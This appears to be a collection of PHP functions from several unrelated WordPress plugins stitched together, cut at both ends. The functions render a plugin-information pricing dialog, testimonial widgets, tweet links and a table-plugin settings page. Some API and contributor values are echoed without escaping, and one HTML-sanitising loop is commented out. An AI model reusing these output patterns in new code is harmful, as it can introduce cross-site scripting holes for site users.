printf(__fs('no-commitment-x', $api->slug), $trial_period); ?> </li> <li> <i class="dashicons dashicons-yes"></i><?php printf(__fs('after-x-pay-as-little-y', $api->slug), $trial_period, '<var class="fs-price">' . $this->get_price_tag($plan, $plan->pricing[0]) . '</var>'); ?> </li> </ul> <?php } ?> </div> </div> </div> <?php } ?> <?php } ?> <?php } ?> <div> <h3><?php _efs('details', $api->slug); ?> </h3> <ul> <?php if (!empty($api->version)) { ?> <li><strong><?php _e('Version:'); ?> </strong> <?php echo $api->version; ?> </li> <?php } if (!empty($api->author)) { ?> <li> <strong><?php _e('Author:'); ?> </strong> <?php echo links_add_target($api->author, '_blank'); ?> </li> <?php } if (!empty($api->last_updated)) { ?> <li><strong><?php _e('Last Updated:'); ?> </strong> <span title="<?php echo $api->last_updated; ?> "> <?php printf(__('%s ago'), human_time_diff(strtotime($api->last_updated))); ?> </span></li> <?php } if (!empty($api->requires)) { ?> <li> <strong><?php _e('Requires WordPress Version:'); ?> </strong> <?php printf(__('%s or higher'), $api->requires); ?> </li> <?php } if (!empty($api->tested)) { ?> <li><strong><?php _e('Compatible up to:'); ?> </strong> <?php echo $api->tested; ?> </li> <?php } if (!empty($api->downloaded)) { ?> <li> <strong><?php _e('Downloaded:'); ?> </strong> <?php printf(_n('%s time', '%s times', $api->downloaded), number_format_i18n($api->downloaded)); ?> </li> <?php } if (!empty($api->slug) && empty($api->external)) { ?> <li><a target="_blank" href="https://wordpress.org/plugins/<?php echo $api->slug; ?> /"><?php _e('WordPress.org Plugin Page »'); ?> </a> </li> <?php } if (!empty($api->homepage)) { ?> <li><a target="_blank" href="<?php echo esc_url($api->homepage); ?> "><?php _e('Plugin Homepage »'); ?> </a> </li> <?php } if (!empty($api->donate_link) && empty($api->contributors)) { ?> <li><a target="_blank" href="<?php echo esc_url($api->donate_link); ?> "><?php _e('Donate to this plugin »'); ?> </a> </li> <?php } ?> </ul> </div> <?php if (!empty($api->rating)) { ?> <h3><?php _e('Average Rating'); ?> </h3> <?php wp_star_rating(array('rating' => $api->rating, 'type' => 'percent', 'number' => $api->num_ratings)); ?> <small><?php printf(_n('(based on %s rating)', '(based on %s ratings)', $api->num_ratings), number_format_i18n($api->num_ratings)); ?> </small> <?php } if (!empty($api->ratings) && array_sum((array) $api->ratings) > 0) { foreach ($api->ratings as $key => $ratecount) { // Avoid div-by-zero. $_rating = $api->num_ratings ? $ratecount / $api->num_ratings : 0; ?> <div class="counter-container"> <span class="counter-label"><a href="https://wordpress.org/support/view/plugin-reviews/<?php echo $api->slug; ?> ?filter=<?php echo $key; ?> " target="_blank" title="<?php echo esc_attr(sprintf(_n('Click to see reviews that provided a rating of %d star', 'Click to see reviews that provided a rating of %d stars', $key), $key)); ?> "><?php printf(_n('%d star', '%d stars', $key), $key); ?> </a></span> <span class="counter-back"> <span class="counter-bar" style="width: <?php echo 92 * $_rating; ?> px;"></span> </span> <span class="counter-count"><?php echo number_format_i18n($ratecount); ?> </span> </div> <?php } } if (!empty($api->contributors)) { ?> <h3><?php _e('Contributors'); ?> </h3> <ul class="contributors"> <?php foreach ((array) $api->contributors as $contrib_username => $contrib_profile) { if (empty($contrib_username) && empty($contrib_profile)) { continue; } if (empty($contrib_username)) { $contrib_username = preg_replace('/^.+\\/(.+)\\/?$/', '\\1', $contrib_profile); } $contrib_username = sanitize_user($contrib_username); if (empty($contrib_profile)) { echo "<li><img src='https://wordpress.org/grav-redirect.php?user={$contrib_username}&s=36' width='18' height='18' />{$contrib_username}</li>"; } else { echo "<li><a href='{$contrib_profile}' target='_blank'><img src='https://wordpress.org/grav-redirect.php?user={$contrib_username}&s=36' width='18' height='18' />{$contrib_username}</a></li>"; } } ?> </ul> <?php if (!empty($api->donate_link)) { ?> <a target="_blank" href="<?php echo esc_url($api->donate_link); ?> "><?php _e('Donate to this plugin »'); ?> </a> <?php } ?> <?php } ?> </div> <div id="section-holder" class="wrap"> <?php if (!empty($api->tested) && version_compare(substr($GLOBALS['wp_version'], 0, strlen($api->tested)), $api->tested, '>')) { echo '<div class="notice notice-warning"><p>' . '<strong>' . __('Warning:') . '</strong> ' . __('This plugin has not been tested with your current version of WordPress.') . '</p></div>'; } else { if (!empty($api->requires) && version_compare(substr($GLOBALS['wp_version'], 0, strlen($api->requires)), $api->requires, '<')) { echo '<div class="notice notice-warning"><p>' . '<strong>' . __('Warning:') . '</strong> ' . __('This plugin has not been marked as compatible with your version of WordPress.') . '</p></div>'; } } foreach ((array) $api->sections as $section_name => $content) { $content = links_add_base_url($content, 'https://wordpress.org/plugins/' . $api->slug . '/'); $content = links_add_target($content, '_blank'); $san_section = esc_attr($section_name); $display = $section_name === $section ? 'block' : 'none'; if ('description' === $section_name && (!$api->external && $api->wp_org_missing || $api->external && $api->fs_missing)) { $missing_notice = array('type' => 'error', 'id' => md5(microtime()), 'message' => __fs($api->is_paid ? 'paid-addon-not-deployed' : 'free-addon-not-deployed', $api->slug)); fs_require_template('admin-notice.php', $missing_notice); } echo "\t<div id='section-{$san_section}' class='section' style='display: {$display};'>\n"; echo $content; echo "\t</div>\n"; } echo "</div>\n"; echo "</div>\n"; echo "</div>\n"; // #plugin-information-scrollable echo "<div id='{$tab}-footer'>\n"; echo $this->get_plugin_cta($api); echo "</div>\n"; iframe_footer(); exit; }
public static function get_testimonials_html($testimonials, $atts, $is_list = true, $widget_number = null) { $hide_not_found = $atts['hide_not_found']; $paging = Testimonials_Widget_Settings::is_true($atts['paging']); $paging_before = 'before' === strtolower($atts['paging']); $paging_after = 'after' === strtolower($atts['paging']); $target = $atts['target']; $id = self::ID; if (is_null($widget_number)) { $div_open = '<div class="' . $id; if ($is_list) { $div_open .= ' listing'; } $div_open .= '">'; } else { $id_base = $id . $widget_number; $div_open = '<div class="' . $id . ' ' . $id_base . '">'; } $div_open .= "\n"; if (empty($testimonials) && !$hide_not_found) { $testimonials = array(array('testimonial_content' => esc_html__('No testimonials found', 'testimonials-widget'))); self::set_not_found(true); } else { self::set_not_found(); } $pre_paging = ''; if ($paging || $paging_before) { $pre_paging = self::get_testimonials_paging($atts); } $is_first = true; $testimonial_content = ''; foreach ($testimonials as $testimonial) { $content = self::get_testimonial_html($testimonial, $atts, $is_list, $is_first, $widget_number); if ($target) { $content = links_add_target($content, $target); } $content = apply_filters('testimonials_widget_testimonial_html', $content, $testimonial, $atts, $is_list, $is_first, $widget_number); $is_first = false; $testimonial_content .= $content; } $post_paging = ''; if ($paging || $paging_after) { $post_paging = self::get_testimonials_paging($atts, false); } $div_close = '</div>'; $div_close .= "\n"; $html = $div_open . $pre_paging . $testimonial_content . $post_paging . $div_close; $html = apply_filters('testimonials_widget_get_testimonials_html', $html, $testimonials, $atts, $is_list, $widget_number, $div_open, $pre_paging, $testimonial_content, $post_paging, $div_close); return $html; }
/** * Display plugin information in dialog box form. * * @since 2.7.0 */ function fs_install_plugin_information() { global $tab; if (empty($_REQUEST['plugin'])) { return; } $args = array('slug' => wp_unslash($_REQUEST['plugin']), 'is_ssl' => is_ssl(), 'fields' => array('banners' => true, 'reviews' => true)); if (is_array($args)) { $args = (object) $args; } if (!isset($args->per_page)) { $args->per_page = 24; } if (!isset($args->locale)) { $args->locale = get_locale(); } $api = apply_filters('fs_plugins_api', false, 'plugin_information', $args); if (is_wp_error($api)) { wp_die($api); } $plugins_allowedtags = array('a' => array('href' => array(), 'title' => array(), 'target' => array(), 'class' => array()), 'style' => array(), 'abbr' => array('title' => array()), 'acronym' => array('title' => array()), 'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(), 'div' => array('class' => array()), 'span' => array('class' => array()), 'p' => array(), 'ul' => array(), 'ol' => array(), 'li' => array('class' => array()), 'i' => array('class' => array()), 'h1' => array(), 'h2' => array(), 'h3' => array(), 'h4' => array(), 'h5' => array(), 'h6' => array(), 'img' => array('src' => array(), 'class' => array(), 'alt' => array())); $plugins_section_titles = array('description' => _x('Description', 'Plugin installer section title'), 'installation' => _x('Installation', 'Plugin installer section title'), 'faq' => _x('FAQ', 'Plugin installer section title'), 'screenshots' => _x('Screenshots', 'Plugin installer section title'), 'changelog' => _x('Changelog', 'Plugin installer section title'), 'reviews' => _x('Reviews', 'Plugin installer section title'), 'other_notes' => _x('Other Notes', 'Plugin installer section title')); // Sanitize HTML // foreach ( (array) $api->sections as $section_name => $content ) { // $api->sections[$section_name] = wp_kses( $content, $plugins_allowedtags ); // } foreach (array('version', 'author', 'requires', 'tested', 'homepage', 'downloaded', 'slug') as $key) { if (isset($api->{$key})) { $api->{$key} = wp_kses($api->{$key}, $plugins_allowedtags); } } // Add after $api->slug is ready. $plugins_section_titles['features'] = __fs('features-and-pricing', $api->slug); $_tab = esc_attr($tab); $section = isset($_REQUEST['section']) ? wp_unslash($_REQUEST['section']) : 'description'; // Default to the Description tab, Do not translate, API returns English. if (empty($section) || !isset($api->sections[$section])) { $section_titles = array_keys((array) $api->sections); $section = array_shift($section_titles); } iframe_header(__('Plugin Install')); $_with_banner = ''; // var_dump($api->banners); if (!empty($api->banners) && (!empty($api->banners['low']) || !empty($api->banners['high']))) { $_with_banner = 'with-banner'; $low = empty($api->banners['low']) ? $api->banners['high'] : $api->banners['low']; $high = empty($api->banners['high']) ? $api->banners['low'] : $api->banners['high']; ?> <style type="text/css"> #plugin-information-title.with-banner { background-image: url( <?php echo esc_url($low); ?> ); } @media only screen and ( -webkit-min-device-pixel-ratio: 1.5 ) { #plugin-information-title.with-banner { background-image: url( <?php echo esc_url($high); ?> ); } } </style> <?php } echo '<div id="plugin-information-scrollable">'; echo "<div id='{$_tab}-title' class='{$_with_banner}'><div class='vignette'></div><h2>{$api->name}</h2></div>"; echo "<div id='{$_tab}-tabs' class='{$_with_banner}'>\n"; foreach ((array) $api->sections as $section_name => $content) { if ('reviews' === $section_name && (empty($api->ratings) || 0 === array_sum((array) $api->ratings))) { continue; } if (isset($plugins_section_titles[$section_name])) { $title = $plugins_section_titles[$section_name]; } else { $title = ucwords(str_replace('_', ' ', $section_name)); } $class = $section_name === $section ? ' class="current"' : ''; $href = add_query_arg(array('tab' => $tab, 'section' => $section_name)); $href = esc_url($href); $san_section = esc_attr($section_name); echo "\t<a name='{$san_section}' href='{$href}' {$class}>{$title}</a>\n"; } echo "</div>\n"; ?> <div id="<?php echo $_tab; ?> -content" class='<?php echo $_with_banner; ?> '> <div class="fyi"> <?php if (isset($api->plans)) { ?> <div class="plugin-information-pricing"> <?php foreach ($api->plans as $plan) { ?> <h3 data-plan="<?php echo $plan->id; ?> "><?php printf(__fs('x-plan', $api->slug), $plan->title); ?> </h3> <ul> <?php $billing_cycle = 'annual'; ?> <?php if (1 === count($plan->pricing) && 1 == $plan->pricing[0]->licenses) { ?> <?php $pricing = $plan->pricing[0]; ?> <li><label><?php _efs('price', $api->slug); ?> : $<?php if (isset($pricing->annual_price)) { echo $pricing->annual_price . ($plan->is_block_features ? ' / year' : ''); $billing_cycle = 'annual'; } else { if (isset($pricing->monthly_price)) { echo $pricing->monthly_price . ' / mo'; $billing_cycle = 'monthly'; } else { if (isset($pricing->lifetime_price)) { echo $pricing->lifetime_price; $billing_cycle = 'lifetime'; } } } ?> </label></li> <?php } else { ?> <?php $first = true; foreach ($plan->pricing as $pricing) { ?> <li><label><input name="pricing-<?php echo $plan->id; ?> " type="radio" value="<?php echo $pricing->id; ?> "<?php checked($first, true); ?> ><?php switch ($pricing->licenses) { case '1': _efs('license-single-site', $api->slug); break; case null: _efs('license-unlimited', $api->slug); break; default: printf(__fs('license-x-sites', $api->slug), $pricing->licenses); break; } ?> - $<?php if (isset($pricing->annual_price)) { echo $pricing->annual_price . ($plan->is_block_features ? ' / year' : ''); $billing_cycle = 'annual'; } else { if (isset($pricing->monthly_price)) { echo $pricing->monthly_price . ' / mo'; $billing_cycle = 'monthly'; } else { if (isset($pricing->lifetime_price)) { echo $pricing->lifetime_price; $billing_cycle = 'lifetime'; } } } ?> </label></li> <?php $first = false; } ?> <?php } ?> </ul> <?php echo ' <a class="button button-primary right" href="' . esc_url(add_query_arg(array('plugin_id' => $plan->plugin_id, 'plan_id' => $plan->id, 'pricing_id' => $plan->pricing[0]->id, 'billing_cycle' => $billing_cycle), $api->checkout_link)) . '" target="_parent">' . __fs('purchase', $api->slug) . '</a>'; ?> </div> <?php } ?> <?php wp_enqueue_script('jquery'); ?> <script type="text/javascript"> (function ($) { $('.plugin-information-pricing input[type=radio]').click(function () { var checkout_url = '<?php echo esc_url_raw(add_query_arg(array('plugin_id' => $plan->plugin_id, 'billing_cycle' => $billing_cycle), $api->checkout_link)); ?> &plan_id=' + $(this).parents('.plugin-information-pricing').find('h3').attr('data-plan') + '&pricing_id=' + $(this).val(); $('.plugin-information-pricing .button, #plugin-information-footer .button').attr('href', checkout_url); }); })(jQuery); </script> <?php } ?> <div> <h3><?php _efs('details', $api->slug); ?> </h3> <ul> <?php if (!empty($api->version)) { ?> <li><strong><?php _e('Version:'); ?> </strong> <?php echo $api->version; ?> </li> <?php } if (!empty($api->author)) { ?> <li> <strong><?php _e('Author:'); ?> </strong> <?php echo links_add_target($api->author, '_blank'); ?> </li> <?php } if (!empty($api->last_updated)) { ?> <li><strong><?php _e('Last Updated:'); ?> </strong> <span title="<?php echo $api->last_updated; ?> "> <?php printf(__('%s ago'), human_time_diff(strtotime($api->last_updated))); ?> </span></li> <?php } if (!empty($api->requires)) { ?> <li> <strong><?php _e('Requires WordPress Version:'); ?> </strong> <?php printf(__('%s or higher'), $api->requires); ?> </li> <?php } if (!empty($api->tested)) { ?> <li><strong><?php _e('Compatible up to:'); ?> </strong> <?php echo $api->tested; ?> </li> <?php } if (!empty($api->downloaded)) { ?> <li> <strong><?php _e('Downloaded:'); ?> </strong> <?php printf(_n('%s time', '%s times', $api->downloaded), number_format_i18n($api->downloaded)); ?> </li> <?php } if (!empty($api->slug) && empty($api->external)) { ?> <li><a target="_blank" href="https://wordpress.org/plugins/<?php echo $api->slug; ?> /"><?php _e('WordPress.org Plugin Page »'); ?> </a> </li> <?php } if (!empty($api->homepage)) { ?> <li><a target="_blank" href="<?php echo esc_url($api->homepage); ?> "><?php _e('Plugin Homepage »'); ?> </a> </li> <?php } if (!empty($api->donate_link) && empty($api->contributors)) { ?> <li><a target="_blank" href="<?php echo esc_url($api->donate_link); ?> "><?php _e('Donate to this plugin »'); ?> </a> </li> <?php } ?> </ul> </div> <?php if (!empty($api->rating)) { ?> <h3><?php _e('Average Rating'); ?> </h3> <?php wp_star_rating(array('rating' => $api->rating, 'type' => 'percent', 'number' => $api->num_ratings)); ?> <small><?php printf(_n('(based on %s rating)', '(based on %s ratings)', $api->num_ratings), number_format_i18n($api->num_ratings)); ?> </small> <?php } if (!empty($api->ratings) && array_sum((array) $api->ratings) > 0) { foreach ($api->ratings as $key => $ratecount) { // Avoid div-by-zero. $_rating = $api->num_ratings ? $ratecount / $api->num_ratings : 0; ?> <div class="counter-container"> <span class="counter-label"><a href="https://wordpress.org/support/view/plugin-reviews/<?php echo $api->slug; ?> ?filter=<?php echo $key; ?> " target="_blank" title="<?php echo esc_attr(sprintf(_n('Click to see reviews that provided a rating of %d star', 'Click to see reviews that provided a rating of %d stars', $key), $key)); ?> "><?php printf(_n('%d star', '%d stars', $key), $key); ?> </a></span> <span class="counter-back"> <span class="counter-bar" style="width: <?php echo 92 * $_rating; ?> px;"></span> </span> <span class="counter-count"><?php echo number_format_i18n($ratecount); ?> </span> </div> <?php } } if (!empty($api->contributors)) { ?> <h3><?php _e('Contributors'); ?> </h3> <ul class="contributors"> <?php foreach ((array) $api->contributors as $contrib_username => $contrib_profile) { if (empty($contrib_username) && empty($contrib_profile)) { continue; } if (empty($contrib_username)) { $contrib_username = preg_replace('/^.+\\/(.+)\\/?$/', '\\1', $contrib_profile); } $contrib_username = sanitize_user($contrib_username); if (empty($contrib_profile)) { echo "<li><img src='https://wordpress.org/grav-redirect.php?user={$contrib_username}&s=36' width='18' height='18' />{$contrib_username}</li>"; } else { echo "<li><a href='{$contrib_profile}' target='_blank'><img src='https://wordpress.org/grav-redirect.php?user={$contrib_username}&s=36' width='18' height='18' />{$contrib_username}</a></li>"; } } ?> </ul> <?php if (!empty($api->donate_link)) { ?> <a target="_blank" href="<?php echo esc_url($api->donate_link); ?> "><?php _e('Donate to this plugin »'); ?> </a> <?php } ?> <?php } ?> </div> <div id="section-holder" class="wrap"> <?php if (!empty($api->tested) && version_compare(substr($GLOBALS['wp_version'], 0, strlen($api->tested)), $api->tested, '>')) { echo '<div class="notice notice-warning"><p>' . '<strong>' . __('Warning:') . '</strong> ' . __('This plugin has not been tested with your current version of WordPress.') . '</p></div>'; } else { if (!empty($api->requires) && version_compare(substr($GLOBALS['wp_version'], 0, strlen($api->requires)), $api->requires, '<')) { echo '<div class="notice notice-warning"><p>' . '<strong>' . __('Warning:') . '</strong> ' . __('This plugin has not been marked as compatible with your version of WordPress.') . '</p></div>'; } } foreach ((array) $api->sections as $section_name => $content) { $content = links_add_base_url($content, 'https://wordpress.org/plugins/' . $api->slug . '/'); $content = links_add_target($content, '_blank'); $san_section = esc_attr($section_name); $display = $section_name === $section ? 'block' : 'none'; echo "\t<div id='section-{$san_section}' class='section' style='display: {$display};'>\n"; echo $content; echo "\t</div>\n"; } echo "</div>\n"; echo "</div>\n"; echo "</div>\n"; // #plugin-information-scrollable echo "<div id='{$tab}-footer'>\n"; if (current_user_can('install_plugins') || current_user_can('update_plugins')) { if (!empty($api->checkout_link) && isset($api->plans) && 0 < is_array($api->plans)) { echo ' <a class="button button-primary right" href="' . esc_url(add_query_arg(array('plugin_id' => $plan->plugin_id, 'plan_id' => $plan->id, 'pricing_id' => $plan->pricing[0]->id, 'billing_cycle' => $billing_cycle), $api->checkout_link)) . '" target="_parent">' . __fs('purchase', $api->slug) . '</a>'; // @todo Add Cart concept. // echo ' <a class="button right" href="' . $status['url'] . '" target="_parent">' . __( 'Add to Cart' ) . '</a>'; } else { if (!empty($api->download_link)) { $status = install_plugin_install_status($api); switch ($status['status']) { case 'install': if ($status['url']) { echo '<a class="button button-primary right" href="' . $status['url'] . '" target="_parent">' . __('Install Now') . '</a>'; } break; case 'update_available': if ($status['url']) { echo '<a class="button button-primary right" href="' . $status['url'] . '" target="_parent">' . __('Install Update Now') . '</a>'; } break; case 'newer_installed': echo '<a class="button button-primary right disabled">' . sprintf(__('Newer Version (%s) Installed'), $status['version']) . '</a>'; break; case 'latest_installed': echo '<a class="button button-primary right disabled">' . __('Latest Version Installed') . '</a>'; break; } } } } echo "</div>\n"; iframe_footer(); exit; }
function kebo_twitter_linkify($tweets) { $options = kebo_get_twitter_options(); foreach ($tweets as $tweet) { /* * Extra Link Processing ( rel attribute and target attribute ) */ if (!empty($tweet->retweeted_status)) { /* * Check mb_ function compatibility and fallback to regex */ if (function_exists('mb_strlen')) { /* * Convert Entities into HTML Links */ $tweet->retweeted_status->text = kebo_twitter_linkify_entities($tweet->retweeted_status->text, $tweet->retweeted_status->entities); } else { /* * Turn Hasntags into HTML Links */ $tweet->retweeted_status->text = preg_replace('/(#.+?)(?=[\\s.,:,]|$)/', '<a href="http://twitter.com/search?q=$1">$1</a>', $tweet->retweeted_status->text); /* - * Turn Mentions into HTML Links */ $tweet->retweeted_status->text = preg_replace('/(@.+?)(?=[\\s.,:,]|$)/', '<a href="http://www.twitter.com/$1">$1</a>', $tweet->retweeted_status->text); } /* * Decode HTML Chars like ' to ' */ $tweet->retweeted_status->text = htmlspecialchars_decode($tweet->retweeted_status->text, ENT_QUOTES); /* * Convert any leftover text links (e.g. when images are uploaded and Twitter adds a URL but no entity) */ $tweet->retweeted_status->text = make_clickable($tweet->retweeted_status->text); /* * NoFollow URLs */ $tweet->retweeted_status->text = 'nofollow' == $options['kebo_twitter_nofollow_links'] ? stripslashes(wp_rel_nofollow($tweet->retweeted_status->text)) : $tweet->retweeted_status->text; /* * Add target="_blank" to all links */ $tweet->retweeted_status->text = links_add_target($tweet->retweeted_status->text, '_blank', array('a')); } elseif (!empty($tweet->text)) { /* * Check mb_ function compatibility and fallback to regex */ if (function_exists('mb_strlen')) { /* * Convert Entities into HTML Links */ $tweet->text = kebo_twitter_linkify_entities($tweet->text, $tweet->entities); } else { /* * Turn Hasntags into HTML Links */ $tweet->text = preg_replace('/(#.+?)(?=[\\s.,:,]|$)/', '<a href="http://twitter.com/search?q=$1">$1</a>', $tweet->text); /* - * Turn Mentions into HTML Links */ $tweet->text = preg_replace('/(@.+?)(?=[\\s.,:,]|$)/', '<a href="http://www.twitter.com/$1">$1</a>', $tweet->text); } /* * Decode HTML Chars like ' to ' */ $tweet->text = htmlspecialchars_decode($tweet->text, ENT_QUOTES); /* * Convert any leftover text links (e.g. when images are uploaded and Twitter adds a URL but no entity) */ $tweet->text = make_clickable($tweet->text); /* * NoFollow URLs */ $tweet->text = 'nofollow' == $options['kebo_twitter_nofollow_links'] ? stripslashes(wp_rel_nofollow($tweet->text)) : $tweet->text; /* * Add target="_blank" to all links */ $tweet->text = links_add_target($tweet->text, '_blank', array('a')); } } return $tweets; }
/** * @SuppressWarnings(PHPMD.UnusedFormalParameter) */ public static function get_testimonials_options($atts = null) { $sections = Testimonials_Widget_Settings::get_sections(); $settings = Testimonials_Widget_Settings::get_settings(); $ignored_types = array('expand_begin', 'expand_end', 'expand_all', 'content'); $do_continue = false; $do_used_with = false; $first_dl = true; $open_dl = false; $html = ''; foreach ($settings as $setting => $parts) { if (in_array($parts['type'], $ignored_types)) { continue; } if (empty($parts['show_code'])) { continue; } // section header if (!empty($sections[$parts['section']])) { if (!$first_dl) { $html .= '</dl>'; $open_dl = false; } $html .= '<h2>' . $sections[$parts['section']] . '</h2>'; unset($sections[$parts['section']]); $do_used_with = true; } if ('heading' == $parts['type']) { if ($open_dl) { $html .= '</dl>'; $open_dl = false; } $html .= '<h2>' . $parts['desc'] . '</h2>'; $do_continue = true; $do_used_with = true; } if ($do_used_with) { $used_with_codes = self::get_used_with_codes($parts); if (!empty($used_with_codes)) { $used_with_codes = implode('</code>, <code>', $used_with_codes); $html .= '<p>' . esc_html__('Used with: ', 'testimonials-widget'); $html .= '<code>' . $used_with_codes . '</code>'; $html .= '</p>'; } $do_used_with = false; } if ($do_continue) { $do_continue = false; continue; } if (empty($open_dl)) { $html .= '<dl>'; $first_dl = false; $open_dl = true; } // option name $html .= '<dt>' . $parts['title'] . '</dt>'; // description if (!empty($parts['desc'])) { $html .= '<dd>' . $parts['desc'] . '</dd>'; } // validation helpers $validate = self::define_options_validate($parts); if (!empty($validate)) { $html .= '<dd>' . $validate . '</dd>'; } $choices = self::define_options_choices($parts); if (!empty($choices)) { $html .= '<dd>' . esc_html__('Options: ', 'testimonials-widget') . '<code>' . $choices . '</code></dd>'; } $value = self::define_options_value($setting, $parts); if (!empty($value)) { $html .= '<dd>' . esc_html__('Usage: ', 'testimonials-widget') . '<code>' . $setting . '="' . $value . '"</code></dd>'; } } // remaining widgets $widgets = array('Testimonials_Widget_Archives_Widget' => 'testimonials_archives', 'Testimonials_Widget_Categories_Widget' => 'testimonials_categories', 'Testimonials_Widget_Recent_Testimonials_Widget' => 'testimonials_recent', 'Testimonials_Widget_Tag_Cloud_Widget' => 'testimonials_tag_cloud'); $widgets = apply_filters('tw_options_widgets', $widgets); foreach ($widgets as $widget => $shortcode) { $form_parts = $widget::form_parts(); // section header $html .= '</dl>'; $html .= '<h2>' . $widget::$title . '</h2>'; $used_with_codes = array('[' . $shortcode . ']', '' . $shortcode . '()'); $used_with_codes = apply_filters('tw_used_with_codes_widgets', $used_with_codes, $widget, $shortcode); if (!empty($used_with_codes)) { $used_with_codes = implode('</code>, <code>', $used_with_codes); $html .= '<p>' . esc_html__('Used with: ', 'testimonials-widget'); $html .= '<code>' . $used_with_codes . '</code>'; $html .= '</p>'; } $html .= '<dl>'; foreach ($form_parts as $setting => $parts) { if (in_array($parts['type'], $ignored_types)) { continue; } // option name $html .= '<dt>' . $parts['title'] . '</dt>'; // description if (!empty($parts['desc'])) { $html .= '<dd>' . $parts['desc'] . '</dd>'; } // validation helpers $validate = self::define_options_validate($parts); if (!empty($validate)) { $html .= '<dd>' . $validate . '</dd>'; } $choices = self::define_options_choices($parts); if (!empty($choices)) { $html .= '<dd>' . esc_html__('Options: ', 'testimonials-widget') . '<code>' . $choices . '</code></dd>'; } $value = self::define_options_value($setting, $parts); if (!empty($value)) { $html .= '<dd>' . esc_html__('Usage: ', 'testimonials-widget') . '<code>' . $setting . '="' . $value . '"</code></dd>'; } } if ($open_dl) { $html .= '</dl>'; } } if ($open_dl) { $html .= '</dl>'; } $html = links_add_target($html, '_tw'); $html = apply_filters('tw_options_html', $html); return $html; }
public function get_testimonials_html($testimonials, $atts, $is_list = true, $widget_number = null) { // display attributes $hide_not_found = $atts['hide_not_found']; $paging = Testimonials_Widget_Settings::is_true($atts['paging']); $paging_before = 'before' == $atts['paging']; $paging_after = 'after' == $atts['paging']; $refresh_interval = $atts['refresh_interval']; $target = $atts['target']; $html = ''; $id = self::id; if (is_null($widget_number)) { $html .= '<div class="' . $id; if ($is_list) { $html .= ' ' . $id . '_list'; } $html .= '">'; } else { $id_base = $id . $widget_number; $html .= '<div class="' . $id . ' ' . $id_base . '">'; } if (empty($testimonials) && !$hide_not_found) { $testimonials = array(array('testimonial_content' => __('No testimonials found', 'testimonials-widget'))); } if ($paging || $paging_before) { $html .= self::get_testimonials_paging($testimonials, $atts); } $is_first = true; foreach ($testimonials as $testimonial) { $content = self::get_testimonial_html($testimonial, $atts, $is_list, $is_first, $widget_number); $content = apply_filters('testimonials_widget_testimonial_html', $content, $testimonial, $atts, $is_list, $is_first, $widget_number); $html .= $content; $is_first = false; } if ($paging || $paging_after) { $html .= self::get_testimonials_paging($testimonials, $atts, false); } $html .= '</div>'; if ($target) { $html = links_add_target($html, $target); } return $html; }
/** * Plugin option page */ function easy_table_page() { ?> <div class="wrap easy-table-wrap"> <div class="icon32"><img src="<?php echo plugins_url('/images/icon-table.png', __FILE__); ?> " /></div> <h2 class="nav-tab-wrapper"> <a href="options-general.php?page=<?php echo $this->easy_table_base('plugin-domain'); ?> " class="nav-tab <?php echo !isset($_GET['gettab']) ? 'nav-tab-active' : ''; ?> "><?php printf(__('%s Option', 'easy-table'), $this->easy_table_base('name')); ?> </a> <?php /** currently not available <a href="options-general.php?page=<?php echo $this->easy_table_base('plugin-domain');?>&gettab=themes" class="nav-tab <?php echo (isset($_GET['gettab']) AND ($_GET['gettab'] == 'themes')) ? 'nav-tab-active' : '';?>"><?php _e('Themes','easy-table');?></a> */ ?> <a href="options-general.php?page=<?php echo $this->easy_table_base('plugin-domain'); ?> &gettab=support" class="nav-tab <?php echo (isset($_GET['gettab']) and $_GET['gettab'] == 'support') ? 'nav-tab-active' : ''; ?> "><?php _e('Support', 'easy-table'); ?> </a> <a href="options-general.php?page=<?php echo $this->easy_table_base('plugin-domain'); ?> &gettab=about" class="nav-tab <?php echo (isset($_GET['gettab']) and $_GET['gettab'] == 'about') ? 'nav-tab-active' : ''; ?> "><?php _e('About', 'easy-table'); ?> </a> </h2> <?php if (!isset($_GET['gettab'])) { ?> <div class="left"> <form method="post" action="options.php"> <?php wp_nonce_field('update-options'); settings_fields('easy_table_option_field'); ?> <span class="togglethis toggledesc"><em><a href="#" data-target=".help-btn"><?php _e('Show/hide help button'); ?> </a></em></span> <h3><?php _e('General options', 'easy-table'); ?> </h3> <?php $fields = array(array('name' => 'easy_table_plugin_option[shortcodetag]', 'label' => __('Short code tag', 'easy-table'), 'type' => 'text', 'description' => __('Shortcode tag, type \'table\' if you want to use [table] short tag.', 'easy-table'), 'value' => $this->option('shortcodetag')), array('name' => 'easy_table_plugin_option[attrtag]', 'label' => __('Cell attribute tag', 'easy-table'), 'type' => 'text', 'description' => __('Cell attribute tag, default is attr.', 'easy-table'), 'value' => $this->option('attrtag')), array('name' => 'easy_table_plugin_option[tablewidget]', 'label' => __('Also render table in widget?', 'easy-table'), 'type' => 'checkbox', 'description' => __('Check this if you want the table could be rendered in widget.', 'easy-table'), 'value' => 1, 'attr' => $this->option('tablewidget') ? 'checked="checked"' : ''), array('type' => 'checkboxgroup', 'grouplabel' => __('Only load JS/CSS when in this condition', 'easy-table'), 'description' => __('Please check in where JavaScript and CSS should be loaded', 'easy-table'), 'groupitem' => array(array('name' => 'easy_table_plugin_option[scriptloadin][]', 'label' => __('Single', 'easy-table'), 'value' => 'is_single', 'attr' => in_array('is_single', $this->option('scriptloadin')) ? 'checked="checked"' : ''), array('name' => 'easy_table_plugin_option[scriptloadin][]', 'label' => __('Page', 'easy-table'), 'value' => 'is_page', 'attr' => in_array('is_page', $this->option('scriptloadin')) ? 'checked="checked"' : ''), array('name' => 'easy_table_plugin_option[scriptloadin][]', 'label' => __('Front page', 'easy-table'), 'value' => 'is_home', 'attr' => in_array('is_home', $this->option('scriptloadin')) ? 'checked="checked"' : ''), array('name' => 'easy_table_plugin_option[scriptloadin][]', 'label' => __('Archive page', 'easy-table'), 'value' => 'is_archive', 'attr' => in_array('is_archive', $this->option('scriptloadin')) ? 'checked="checked"' : ''), array('name' => 'easy_table_plugin_option[scriptloadin][]', 'label' => __('Search page', 'easy-table'), 'value' => 'is_search', 'attr' => in_array('is_search', $this->option('scriptloadin')) ? 'checked="checked"' : ''))), array('name' => 'easy_table_plugin_option[scriptinfooter]', 'label' => __('Load script on footer?', 'easy-table'), 'type' => 'checkbox', 'description' => __('Check this if you want the script to be rendered in footer. Try to check or uncheck this if you experienced conflict with another JavaScript library (not guaranteed though).', 'easy-table'), 'value' => 1, 'attr' => $this->option('scriptinfooter') ? 'checked="checked"' : '')); echo $this->render_form($fields); $fields = array(array('name' => 'easy_table_plugin_option[tablesorter]', 'label' => __('Use 